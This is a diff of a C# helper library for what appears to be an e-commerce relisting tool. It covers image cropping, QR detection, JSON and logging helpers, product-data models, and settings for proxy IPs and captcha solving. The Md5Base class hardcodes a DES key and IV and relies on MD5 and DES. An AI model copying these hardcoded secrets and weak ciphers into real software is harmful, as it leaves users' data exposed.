public static Image BytesToImage(ref byte[] buffer)
|
||||
{
|
||||
var ms = new MemoryStream(buffer, 0, buffer.Length);
|
||||
return Image.FromStream(ms);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 裁剪图片四边
|
||||
/// </summary>
|
||||
/// <param name="bytes">原始图片字节流</param>
|
||||
/// <param name="iStartX">裁剪开始x坐标</param>
|
||||
/// <param name="iStartY">裁剪开始y坐标</param>
|
||||
/// <param name="iWidth">裁剪宽度</param>
|
||||
/// <param name="iHeight">裁剪高度</param>
|
||||
/// <returns></returns>
|
||||
public static Bitmap CutImage(ref byte[] bytes, int iStartX, int iStartY, int iWidth, int iHeight)
|
||||
{
|
||||
try
|
||||
{
|
||||
Image image = BytesToImage(ref bytes);
|
||||
Bitmap b = new Bitmap(image);
|
||||
if (bytes == null) return null;
|
||||
Bitmap bmpOut = new Bitmap(iWidth, iHeight, PixelFormat.Format24bppRgb);
|
||||
Graphics g = Graphics.FromImage(bmpOut);
|
||||
g.DrawImage(b, new Rectangle(0, 0, iWidth, iHeight), new Rectangle(iStartX, iStartY, iWidth, iHeight), GraphicsUnit.Pixel);
|
||||
g.Dispose();
|
||||
return bmpOut;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public static ImageCodecInfo GetEncoderInfo(string mimeType)
|
||||
{
|
||||
int j;
|
||||
ImageCodecInfo[] encoders;
|
||||
encoders = ImageCodecInfo.GetImageEncoders();
|
||||
for (j = 0; j < encoders.Length; ++j)
|
||||
{
|
||||
if (encoders[j].MimeType == mimeType)
|
||||
return encoders[j];
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using ZXing;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public class ImageErWeiMa
|
||||
{
|
||||
/// <summary>
|
||||
/// 是否二维码
|
||||
/// </summary>
|
||||
/// <param name="strSavePath"></param>
|
||||
/// <returns></returns>
|
||||
public bool GetErWeiMa(byte[] file, out int width, out int height, out Image initImage)
|
||||
{
|
||||
initImage = null;
|
||||
width = 0;
|
||||
height = 0;
|
||||
try
|
||||
{
|
||||
MemoryStream ms = new MemoryStream(file);
|
||||
initImage = Image.FromStream(ms);
|
||||
ms.Close();
|
||||
width = initImage.Width;
|
||||
height = initImage.Height;
|
||||
if (initImage.Width < 10 || initImage.Height < 10)
|
||||
{
|
||||
initImage = null;
|
||||
return false;
|
||||
}
|
||||
|
||||
BarcodeReader reader = new BarcodeReader();
|
||||
Result result = reader.Decode((Bitmap)initImage);
|
||||
if (result == null || string.IsNullOrEmpty(result.Text))
|
||||
{
|
||||
reader = null;
|
||||
result = null;
|
||||
//initImage = null;
|
||||
return false;
|
||||
}
|
||||
reader = null;
|
||||
result = null;
|
||||
initImage = null;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,86 @@
|
||||
/*
|
||||
* json 帮助类
|
||||
* 肖俊
|
||||
* 2017-7-11
|
||||
*
|
||||
*/
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using Newtonsoft.Json;
|
||||
using Newtonsoft.Json.Linq;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
/// <summary>
|
||||
/// Json帮助类
|
||||
/// </summary>
|
||||
public static class JsonHelper
|
||||
{
|
||||
/// <summary>
|
||||
/// 将对象序列化为JSON格式
|
||||
/// </summary>
|
||||
/// <param name="o">对象</param>
|
||||
/// <returns>json字符串</returns>
|
||||
public static string SerializeObject(object o)
|
||||
{
|
||||
string json = JsonConvert.SerializeObject(o);
|
||||
return json;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 解析JSON字符串生成对象实体
|
||||
/// </summary>
|
||||
/// <typeparam name="T">对象类型</typeparam>
|
||||
/// <param name="json">json字符串(eg.{"ID":"112","Name":"石子儿"})</param>
|
||||
/// <returns>对象实体</returns>
|
||||
public static T DeserializeJsonToObject<T>(string json) where T : class
|
||||
{
|
||||
JsonSerializer serializer = new JsonSerializer();
|
||||
StringReader sr = new StringReader(json);
|
||||
object o = serializer.Deserialize(new JsonTextReader(sr), typeof(T));
|
||||
T t = o as T;
|
||||
return t;
|
||||
}
|
||||
|
||||
public static JObject JObjectParse(string json)
|
||||
{
|
||||
try
|
||||
{
|
||||
JObject obj = JObject.Parse(json);
|
||||
return obj;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 解析JSON数组生成对象实体集合
|
||||
/// </summary>
|
||||
/// <typeparam name="T">对象类型</typeparam>
|
||||
/// <param name="json">json数组字符串(eg.[{"ID":"112","Name":"石子儿"}])</param>
|
||||
/// <returns>对象实体集合</returns>
|
||||
public static List<T> DeserializeJsonToList<T>(string json) where T : class
|
||||
{
|
||||
JsonSerializer serializer = new JsonSerializer();
|
||||
StringReader sr = new StringReader(json);
|
||||
object o = serializer.Deserialize(new JsonTextReader(sr), typeof(List<T>));
|
||||
List<T> list = o as List<T>;
|
||||
return list;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 反序列化JSON到给定的匿名对象.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">匿名对象类型</typeparam>
|
||||
/// <param name="json">json字符串</param>
|
||||
/// <param name="anonymousTypeObject">匿名对象</param>
|
||||
/// <returns>匿名对象</returns>
|
||||
public static T DeserializeAnonymousType<T>(string json, T anonymousTypeObject)
|
||||
{
|
||||
T t = JsonConvert.DeserializeAnonymousType(json, anonymousTypeObject);
|
||||
return t;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,252 @@
|
||||
/*
|
||||
* 日志记录
|
||||
* 肖俊
|
||||
* 2015-3-13
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public class LogSave
|
||||
{
|
||||
/// <summary>
|
||||
/// 消息日志
|
||||
/// </summary>
|
||||
public static Dictionary<string, List<string>> Messages = new Dictionary<string, List<string>>();
|
||||
|
||||
/// <summary>
|
||||
/// 日志队列
|
||||
/// </summary>
|
||||
private static List<string> Logs = new List<string>();
|
||||
|
||||
/// <summary>
|
||||
/// 准备写入文件
|
||||
/// </summary>
|
||||
public static List<string> ImageTemp = new List<string>();
|
||||
/// <summary>
|
||||
/// 初始化
|
||||
/// </summary>
|
||||
public LogSave()
|
||||
{
|
||||
FileBase.DirectoryCreate(Application.StartupPath + "\\log\\");
|
||||
FileBase.DirectoryCreate(Application.StartupPath + "\\temp\\");
|
||||
FileBase.DirectoryCreate(Application.StartupPath + "\\temp\\content\\");
|
||||
FileBase.DirectoryCreate(Application.StartupPath + "\\temp\\desc\\");
|
||||
|
||||
string[] l = Directory.GetFiles(Application.StartupPath + "\\log\\");
|
||||
for (int i = 0; i < l.Length; i++)
|
||||
{
|
||||
string name = Path.GetFileName(l[i]);
|
||||
string date = BaseRegex.GetMatchRegexString(ref name, @"([\d]{4}-[\d]{1,2}-[\d]{1,2})");
|
||||
DateTime d;
|
||||
if (DateTime.TryParse(date, out d))
|
||||
{
|
||||
if (d<DateTime.Now.AddDays(-7))
|
||||
{
|
||||
FileBase.Delete(l[i]);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
public static void AddFile(string message)
|
||||
{
|
||||
string patch = "log\\" + DateTime.Now.ToString("yyyy-MM-dd") + ".log";
|
||||
try
|
||||
{
|
||||
File.AppendAllText(patch, DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss") + "\r\n" + message + "\r\n");
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
public static void ClearFile()
|
||||
{
|
||||
FileBase.DirectoryCreate(Application.StartupPath + "\\log\\");
|
||||
string[] l = Directory.GetFiles(Application.StartupPath + "\\log\\");
|
||||
for (int i = 0; i < l.Length; i++)
|
||||
{
|
||||
string name = Path.GetFileName(l[i]);
|
||||
string date = BaseRegex.GetMatchRegexString(ref name, @"([\d]{4}-[\d]{1,2}-[\d]{1,2})");
|
||||
DateTime d;
|
||||
if (DateTime.TryParse(date, out d))
|
||||
{
|
||||
if (d < DateTime.Now.AddDays(-7))
|
||||
{
|
||||
FileBase.Delete(l[i]);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 服务
|
||||
/// </summary>
|
||||
public void Get()
|
||||
{
|
||||
string temp;
|
||||
while (true)
|
||||
{
|
||||
if (Logs.Count == 0 && ImageTemp.Count==0)
|
||||
{
|
||||
Thread.Sleep(10000);
|
||||
continue;
|
||||
}
|
||||
StringBuilder s = new StringBuilder();
|
||||
while (ImageTemp.Count>0)
|
||||
{
|
||||
string it = ImageTemp[0];
|
||||
ImageTemp.RemoveAt(0);
|
||||
if (string.IsNullOrEmpty(it))
|
||||
continue;
|
||||
s.AppendLine(it);
|
||||
}
|
||||
string image = s.ToString();
|
||||
if (image.Length > 0)
|
||||
FileBase.AppendAllText("image/" + BaseClass.ShopName+".tjm", image, Encoding.Default);
|
||||
temp = "";
|
||||
while (Logs.Count>0)
|
||||
{
|
||||
try
|
||||
{
|
||||
temp += Logs[0] + "\r\n";
|
||||
Logs.RemoveAt(0);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
if(string.IsNullOrEmpty(temp))
|
||||
continue;
|
||||
string patch = "log\\" + DateTime.Now.ToString("yyyy-MM-dd") + ".log";
|
||||
try
|
||||
{
|
||||
File.AppendAllText(patch, DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss") +"\r\n"+ temp);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
if(e.Message.Contains("空间"))
|
||||
return;
|
||||
Thread.Sleep(500);//重试一次
|
||||
try
|
||||
{
|
||||
File.AppendAllText(patch, DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss") + "\r\n" + temp);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
BaseClass.ViewCode += "写入IIS日志:" + patch + " 发生错误:"+e.Message+"\r\n";
|
||||
}
|
||||
}
|
||||
Thread.Sleep(120*1000);
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// 添加日志
|
||||
/// </summary>
|
||||
/// <param name="message">日志</param>
|
||||
public static void Add(string message)
|
||||
{
|
||||
BaseClass.ViewCode += message + "\r\n";
|
||||
if (Logs.Count > 5000)
|
||||
{
|
||||
BaseClass.ViewCode += "日志队列超长,请检查日志处理\r\n";
|
||||
Logs.Clear();
|
||||
return;
|
||||
}
|
||||
Logs.Add(message);
|
||||
}
|
||||
/// <summary>
|
||||
/// 添加日志
|
||||
/// </summary>
|
||||
/// <param name="Name">名称</param>
|
||||
/// <param name="message">日志</param>
|
||||
public static void Add(string Name,string message)
|
||||
{
|
||||
if (string.IsNullOrEmpty(Name))
|
||||
{
|
||||
Logs.Add(message);
|
||||
return;
|
||||
}
|
||||
if (!Messages.ContainsKey(Name))
|
||||
{
|
||||
try
|
||||
{
|
||||
Messages.Add(Name, new List<string>());
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
try
|
||||
{
|
||||
Logs.Add(message);
|
||||
Messages[Name].Add(message);
|
||||
}
|
||||
catch
|
||||
{
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// 添加到显示
|
||||
/// </summary>
|
||||
/// <param name="message">日志</param>
|
||||
public static void AddView(string message)
|
||||
{
|
||||
BaseClass.ViewCode += message + "\r\n";
|
||||
}
|
||||
/// <summary>
|
||||
/// 设置最大值
|
||||
/// </summary>
|
||||
/// <param name="name">名称</param>
|
||||
/// <param name="max">最大值</param>
|
||||
public static void SetProccessMax(string name, int max)
|
||||
{
|
||||
if (!BaseClass.ProcessList.ContainsKey(name))
|
||||
{
|
||||
try
|
||||
{
|
||||
BaseClass.ProcessList.Add(name,new ProcessBase());
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
BaseClass.ProcessList[name].Max = max;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 设置当前值
|
||||
/// </summary>
|
||||
/// <param name="name">名称</param>
|
||||
/// <param name="value">当前值</param>
|
||||
public static void SetProccessValue(string name, int value)
|
||||
{
|
||||
if (!BaseClass.ProcessList.ContainsKey(name))
|
||||
{
|
||||
try
|
||||
{
|
||||
BaseClass.ProcessList.Add(name, new ProcessBase());
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
BaseClass.ProcessList[name].Value = value;
|
||||
}
|
||||
/// <summary>
|
||||
/// 设置为最大值,完成
|
||||
/// </summary>
|
||||
/// <param name="name"></param>
|
||||
public static void SetProccessFinish(string name)
|
||||
{
|
||||
BaseClass.ProcessList[name].Value = BaseClass.ProcessList[name].Max;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,215 @@
|
||||
/*
|
||||
* MD5加密
|
||||
* 肖俊
|
||||
* 2013-6-7
|
||||
*/
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public static class Md5Base
|
||||
{
|
||||
/// <summary>
|
||||
/// MD5加密
|
||||
/// </summary>
|
||||
/// <param name="instring"></param>
|
||||
/// <returns></returns>
|
||||
public static string GetMd5(string instring)
|
||||
{
|
||||
byte[] result = Encoding.UTF8.GetBytes(string.IsNullOrEmpty(instring)?"": instring.Trim());
|
||||
MD5 md5 = new MD5CryptoServiceProvider();
|
||||
byte[] output = md5.ComputeHash(result);
|
||||
return BitConverter.ToString(output).Replace("-", "");
|
||||
}
|
||||
/// <summary>
|
||||
/// MD5加密
|
||||
/// </summary>
|
||||
/// <param name="instring"></param>
|
||||
/// <returns></returns>
|
||||
//public static string GetMd5X16(string instring)
|
||||
//{
|
||||
// string temp = GetMd5(instring);
|
||||
// return temp.Substring(8, 16);
|
||||
//}
|
||||
|
||||
/// <summary>
|
||||
/// MD5加密
|
||||
/// </summary>
|
||||
/// <param name="instring"></param>
|
||||
/// <returns></returns>
|
||||
public static string GetMd5X15(string instring)
|
||||
{
|
||||
string temp = GetMd5(instring);
|
||||
return temp.Substring(8, 15);
|
||||
}
|
||||
/// <summary>
|
||||
/// 解码
|
||||
/// </summary>
|
||||
/// <param name="code"></param>
|
||||
/// <returns></returns>
|
||||
public static string DecodeString(string code)
|
||||
{
|
||||
try
|
||||
{
|
||||
string code1 =
|
||||
code.Trim().Replace("_1/", "c")
|
||||
.Replace("_2/", "Y")
|
||||
.Replace("_3/", "A")
|
||||
.Replace("_4/", "Z")
|
||||
.Replace("_5/", "h")
|
||||
.Replace("_6/", "n")
|
||||
.Replace("_7/", "I")
|
||||
.Replace("_8/", "l")
|
||||
.Replace("_9/", "t")
|
||||
.Replace("_10/", "e")
|
||||
.Replace("_11/", "K")
|
||||
.Replace("_12/", "r")
|
||||
.Replace("_13/", "o")
|
||||
.Replace("_14/", "q")
|
||||
.Replace("_15/", "W")
|
||||
.Replace("_16/", "+")
|
||||
.Replace("_17/", "H")
|
||||
.Replace("_18/", "m")
|
||||
.Replace("_19/", "F")
|
||||
.Replace("_20/", "x")
|
||||
.Replace("_21/", "v")
|
||||
.Replace("_22/", "B")
|
||||
.Replace("_23/", "=")
|
||||
.Replace("_0/", "_");
|
||||
byte[] inArray = Convert.FromBase64String(code1);
|
||||
string html = Encoding.UTF8.GetString(inArray);
|
||||
html =
|
||||
html.Replace("_1_", "=")
|
||||
.Replace("_2_", "?")
|
||||
.Replace("_3_", "/")
|
||||
.Replace("_4_", ".")
|
||||
.Replace("_5_", "&")
|
||||
.Replace("_6_", "<")
|
||||
.Replace("_7_", ">")
|
||||
.Replace("_8_", "'")
|
||||
.Replace("_9_", "\"")
|
||||
.Replace("_", "_0");
|
||||
return html;
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
LogSave.Add("解码数据错误:"+code);
|
||||
return "";
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 加密返回数据
|
||||
/// </summary>
|
||||
/// <param name="html">密文</param>
|
||||
/// <returns></returns>
|
||||
public static string EncodeString(string html)
|
||||
{
|
||||
if (string.IsNullOrEmpty(html))
|
||||
return "";
|
||||
html =
|
||||
html.Replace("_0", "_")
|
||||
.Replace("=", "_1_")
|
||||
.Replace("?", "_2_")
|
||||
.Replace("/", "_3_")
|
||||
.Replace(".", "_4_")
|
||||
.Replace("&", "_5_")
|
||||
.Replace("\\", "_6_")
|
||||
.Replace(">", "_7_")
|
||||
.Replace("'", "_8_")
|
||||
.Replace("\"", "_9_");
|
||||
string code = Base64Encode.EncodeBase64(html);
|
||||
code =
|
||||
code.Replace("c", "_1_")
|
||||
.Replace("Y", "_2_")
|
||||
.Replace("A", "_3_")
|
||||
.Replace("Z", "_4_")
|
||||
.Replace("h", "_5_")
|
||||
.Replace("n", "_6_")
|
||||
.Replace("I", "_7_")
|
||||
.Replace("o", "_8_")
|
||||
.Replace("t", "_9_")
|
||||
.Replace("=", "_0_");
|
||||
return code;
|
||||
}
|
||||
|
||||
|
||||
#region EBFB8THEA 加密
|
||||
public static string _KEY = "XNNRSAA1"; //密钥
|
||||
public static string _IV = "RSABPDD2"; //向量
|
||||
|
||||
/// <summary>
|
||||
/// 加密
|
||||
/// </summary>
|
||||
/// <param name="data">需要加密的文本</param>
|
||||
/// <returns></returns>
|
||||
public static string EncryptEncode(string data)
|
||||
{
|
||||
byte[] byKey = System.Text.ASCIIEncoding.ASCII.GetBytes(_KEY);
|
||||
byte[] byIV = System.Text.ASCIIEncoding.ASCII.GetBytes(_IV);
|
||||
|
||||
DESCryptoServiceProvider cryptoProvider = new DESCryptoServiceProvider();
|
||||
int i = cryptoProvider.KeySize;
|
||||
MemoryStream ms = new MemoryStream();
|
||||
CryptoStream cst = new CryptoStream(ms, cryptoProvider.CreateEncryptor(byKey, byIV), CryptoStreamMode.Write);
|
||||
|
||||
StreamWriter sw = new StreamWriter(cst);
|
||||
sw.Write(data);
|
||||
sw.Flush();
|
||||
cst.FlushFinalBlock();
|
||||
sw.Flush();
|
||||
string strRet = Convert.ToBase64String(ms.GetBuffer(), 0, (int)ms.Length);
|
||||
|
||||
sw.Dispose();
|
||||
sw.Close();
|
||||
cst.Dispose();
|
||||
cst.Close();
|
||||
ms.Dispose();
|
||||
ms.Close();
|
||||
return strRet;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 解密
|
||||
/// </summary>
|
||||
/// <param name="data"></param>
|
||||
/// <returns></returns>
|
||||
public static string EncryptDecode(string data)
|
||||
{
|
||||
byte[] byKey = System.Text.ASCIIEncoding.ASCII.GetBytes(_KEY);
|
||||
byte[] byIV = System.Text.ASCIIEncoding.ASCII.GetBytes(_IV);
|
||||
byte[] byEnc;
|
||||
|
||||
try
|
||||
{
|
||||
data.Replace("_%_", "/");
|
||||
data.Replace("-%-", "#");
|
||||
byEnc = Convert.FromBase64String(data);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
DESCryptoServiceProvider cryptoProvider = new DESCryptoServiceProvider();
|
||||
MemoryStream ms = new MemoryStream(byEnc);
|
||||
CryptoStream cst = new CryptoStream(ms, cryptoProvider.CreateDecryptor(byKey, byIV), CryptoStreamMode.Read);
|
||||
StreamReader sr = new StreamReader(cst);
|
||||
var result = sr.ReadToEnd();
|
||||
|
||||
sr.Dispose();
|
||||
sr.Close();
|
||||
cst.Dispose();
|
||||
cst.Close();
|
||||
ms.Dispose();
|
||||
ms.Close();
|
||||
|
||||
return result;
|
||||
}
|
||||
#endregion
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Model.Param.CollectManage
|
||||
{
|
||||
/// <summary>
|
||||
/// 数据净化设置选项
|
||||
/// </summary>
|
||||
public class FissionSettingParam
|
||||
{
|
||||
/// <summary>
|
||||
/// 是否使用代理ip
|
||||
/// </summary>
|
||||
public bool IsUseProxyIp { get; set; } = false;
|
||||
/// <summary>
|
||||
/// 是否使用资源包打码
|
||||
/// </summary>
|
||||
public bool IsUseResourcePack { get; set; } = false;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,170 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Model.Param.FissionManage
|
||||
{
|
||||
public class FissionData
|
||||
{
|
||||
/// <summary>
|
||||
/// 分词数据库编号
|
||||
/// </summary>
|
||||
public int id { get; set; }
|
||||
/// <summary>
|
||||
/// 商品id 575431121218
|
||||
/// </summary>
|
||||
public string fession_id { get; set; }
|
||||
/// <summary>
|
||||
/// 销量 2103
|
||||
/// </summary>
|
||||
public string sales { get; set; }
|
||||
/// <summary>
|
||||
/// 价格 299.00
|
||||
/// </summary>
|
||||
public string price { get; set; }
|
||||
/// <summary>
|
||||
///
|
||||
/// </summary>
|
||||
public string title { get; set; }
|
||||
/// <summary>
|
||||
/// 分词标题
|
||||
/// </summary>
|
||||
public string fession_title { get; set; }
|
||||
/// <summary>
|
||||
/// 裂变数量
|
||||
/// </summary>
|
||||
public string fession_count { get; set; }
|
||||
/// <summary>
|
||||
/// 主词
|
||||
/// </summary>
|
||||
public string mainWord { get; set; }
|
||||
/// <summary>
|
||||
/// 副词
|
||||
/// </summary>
|
||||
public string viceword { get; set; }
|
||||
/// <summary>
|
||||
/// 分组
|
||||
/// </summary>
|
||||
public string category { get; set; }
|
||||
/// <summary>
|
||||
/// 来源 淘宝、拼多多
|
||||
/// </summary>
|
||||
public string source { get; set; }
|
||||
/// <summary>
|
||||
/// 商品属性
|
||||
/// </summary>
|
||||
public string prop { get; set; }
|
||||
/// <summary>
|
||||
/// 属性列表,List<PropBase>类型的json
|
||||
/// </summary>
|
||||
public string props { get; set; }
|
||||
/// <summary>
|
||||
/// 产品sku信息
|
||||
/// </summary>
|
||||
public string skus { get; set; }
|
||||
/// <summary>
|
||||
/// 主图
|
||||
/// </summary>
|
||||
public string main_pic { get; set; }
|
||||
/// <summary>
|
||||
/// 属性图
|
||||
/// </summary>
|
||||
public string prop_pic { get; set; }
|
||||
/// <summary>
|
||||
/// 详情图/内容图
|
||||
/// </summary>
|
||||
public string container_info { get; set; }
|
||||
/// <summary>
|
||||
/// 子分类id
|
||||
/// </summary>
|
||||
public string cate_id { get; set; }
|
||||
/// <summary>
|
||||
/// 子分类名称
|
||||
/// </summary>
|
||||
public string second_cate { get; set; }
|
||||
/// <summary>
|
||||
/// 主分类id
|
||||
/// </summary>
|
||||
public string main_cateid { get; set; }
|
||||
/// <summary>
|
||||
/// 主分类名称
|
||||
/// </summary>
|
||||
public string main_cate { get; set; }
|
||||
/// <summary>
|
||||
/// 完整分类名称
|
||||
/// </summary>
|
||||
public string full_category_name { get; set; }
|
||||
/// <summary>
|
||||
/// 二级类目名称
|
||||
/// </summary>
|
||||
public string cat2_name { get; set; }
|
||||
/// <summary>
|
||||
/// 三级类目名称
|
||||
/// </summary>
|
||||
public string cat3_name { get; set; }
|
||||
/// <summary>
|
||||
/// 是否已经单独加价
|
||||
/// </summary>
|
||||
public string is_changeprice { get; set; }
|
||||
/// <summary>
|
||||
/// 加价比例
|
||||
/// </summary>
|
||||
public int? add_pricepercent { get; set; }
|
||||
/// <summary>
|
||||
/// 基础额外加价
|
||||
/// </summary>
|
||||
public int? base_addprice { get; set; }
|
||||
/// <summary>
|
||||
/// 邮费价格
|
||||
/// </summary>
|
||||
public string postFree { get; set; }
|
||||
/// <summary>
|
||||
/// 折扣
|
||||
/// </summary>
|
||||
public decimal discount { get; set; }
|
||||
/// <summary>
|
||||
/// 标题数量
|
||||
/// </summary>
|
||||
public int TitleNum { get; set; }
|
||||
/// <summary>
|
||||
/// 是否试水上货标记
|
||||
/// </summary>
|
||||
public string try_upload { get; set; }
|
||||
/// <summary>
|
||||
/// 入库时间
|
||||
/// </summary>
|
||||
public string addtime { get; set; }
|
||||
/// <summary>
|
||||
/// 更新时间
|
||||
/// </summary>
|
||||
public string update_time { get; set; }
|
||||
/// <summary>
|
||||
/// 使用次数
|
||||
/// </summary>
|
||||
public int times { get; set; }
|
||||
/// <summary>
|
||||
/// 商品来源店铺名称
|
||||
/// </summary>
|
||||
public string from_shop_name { get; set; }
|
||||
/// <summary>
|
||||
/// 查询满足条件的fissionData时服务端返回的记录总数
|
||||
/// </summary>
|
||||
public int totalCountNum { get; set; }
|
||||
/// <summary>
|
||||
/// _is_end
|
||||
/// </summary>
|
||||
public int _is_end { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// 商品是否通过校验 1 校验通过 9 上家已下架 0 上家有变化需要更新
|
||||
/// </summary>
|
||||
public int update_check_passed { get; set; } = 1;
|
||||
|
||||
/// <summary>
|
||||
/// 商品资质信息
|
||||
/// </summary>
|
||||
public string qualifications { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,162 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Model.Param.FissionManage
|
||||
{
|
||||
/// <summary>
|
||||
/// 数据净化传递到服务端使用的对象类
|
||||
/// </summary>
|
||||
public class FissionDataModel
|
||||
{
|
||||
/// <summary>
|
||||
/// 本应是分词数据库编号,但程序中作为商品id上传到服务端使用
|
||||
/// </summary>
|
||||
public string id { get; set; }
|
||||
/// <summary>
|
||||
/// 商品id
|
||||
/// </summary>
|
||||
public string fession_id { get; set; }
|
||||
/// <summary>
|
||||
/// 销量
|
||||
/// </summary>
|
||||
public string sales { get; set; }
|
||||
/// <summary>
|
||||
/// 价格
|
||||
/// </summary>
|
||||
public string price { get; set; }
|
||||
/// <summary>
|
||||
/// 标题
|
||||
/// </summary>
|
||||
public string title { get; set; }
|
||||
/// <summary>
|
||||
/// 裂变标题 对应FissionData属性:fession_title
|
||||
/// </summary>
|
||||
public List<string> fessionTitle { get; set; }
|
||||
/// <summary>
|
||||
/// 裂变数量 对应FissionData属性:fession_count
|
||||
/// </summary>
|
||||
public string fessionCount { get; set; }
|
||||
/// <summary>
|
||||
/// 主词
|
||||
/// </summary>
|
||||
public string mainWord { get; set; }
|
||||
/// <summary>
|
||||
/// 副词 对应FissionData属性:viceword
|
||||
/// </summary>
|
||||
public string viceWord { get; set; }
|
||||
/// <summary>
|
||||
/// 分组 对应FissionData属性:category
|
||||
/// </summary>
|
||||
public string teamGroup { get; set; }
|
||||
/// <summary>
|
||||
/// 来源
|
||||
/// </summary>
|
||||
public string source { get; set; }
|
||||
/// <summary>
|
||||
/// 商品属性
|
||||
/// </summary>
|
||||
public string prop { get; set; }
|
||||
/// <summary>
|
||||
/// 属性列表,List<PropBase>类型的json
|
||||
/// </summary>
|
||||
public string props { get; set; }
|
||||
/// <summary>
|
||||
/// 产品sku信息
|
||||
/// </summary>
|
||||
public string skus { get; set; }
|
||||
/// <summary>
|
||||
/// 主图
|
||||
/// </summary>
|
||||
public List<string> main_pic { get; set; }
|
||||
/// <summary>
|
||||
/// 属性图
|
||||
/// </summary>
|
||||
public List<string> prop_pic { get; set; }
|
||||
/// <summary>
|
||||
/// 详情图/内容图 对应FissionData属性:container_info
|
||||
/// </summary>
|
||||
public List<string> content_pic { get; set; }
|
||||
/// <summary>
|
||||
/// 子分类id
|
||||
/// </summary>
|
||||
public int cate_id { get; set; }
|
||||
/// <summary>
|
||||
/// 子分类名称 对应FissionData属性:second_cate
|
||||
/// </summary>
|
||||
public string secondCategory { get; set; }
|
||||
/// <summary>
|
||||
/// 主分类id 对应FissionData属性:main_cateid
|
||||
/// </summary>
|
||||
public int main_cate_id { get; set; }
|
||||
/// <summary>
|
||||
/// 主分类名称 对应FissionData属性:main_cate
|
||||
/// </summary>
|
||||
public string mainCategory { get; set; }
|
||||
/// <summary>
|
||||
/// 完整分类名称 对应FissionData属性:full_category_name
|
||||
/// </summary>
|
||||
public string fullCategoryName { get; set; }
|
||||
/// <summary>
|
||||
/// 二级类目名称
|
||||
/// </summary>
|
||||
public string cat2_name { get; set; }
|
||||
/// <summary>
|
||||
/// 三级类目名称
|
||||
/// </summary>
|
||||
public string cat3_name { get; set; }
|
||||
/// <summary>
|
||||
/// 是否调节价格 对应FissionData属性:is_changeprice
|
||||
/// </summary>
|
||||
public int adjustPrice { get; set; }
|
||||
/// <summary>
|
||||
/// 加价比例 对应FissionData属性:add_pricepercent
|
||||
/// </summary>
|
||||
public decimal addPricePercent { get; set; }
|
||||
/// <summary>
|
||||
/// 基础额外加价 对应FissionData属性:base_addprice
|
||||
/// </summary>
|
||||
public decimal baseAddPrice { get; set; }
|
||||
/// <summary>
|
||||
/// 邮费价格
|
||||
/// </summary>
|
||||
public string postFree { get; set; }
|
||||
/// <summary>
|
||||
/// 折扣
|
||||
/// </summary>
|
||||
public decimal discount { get; set; }
|
||||
/// <summary>
|
||||
/// 商品上家来源店铺
|
||||
/// </summary>
|
||||
public string from_shop_name { get; set; }
|
||||
|
||||
/// <summary>
|
||||
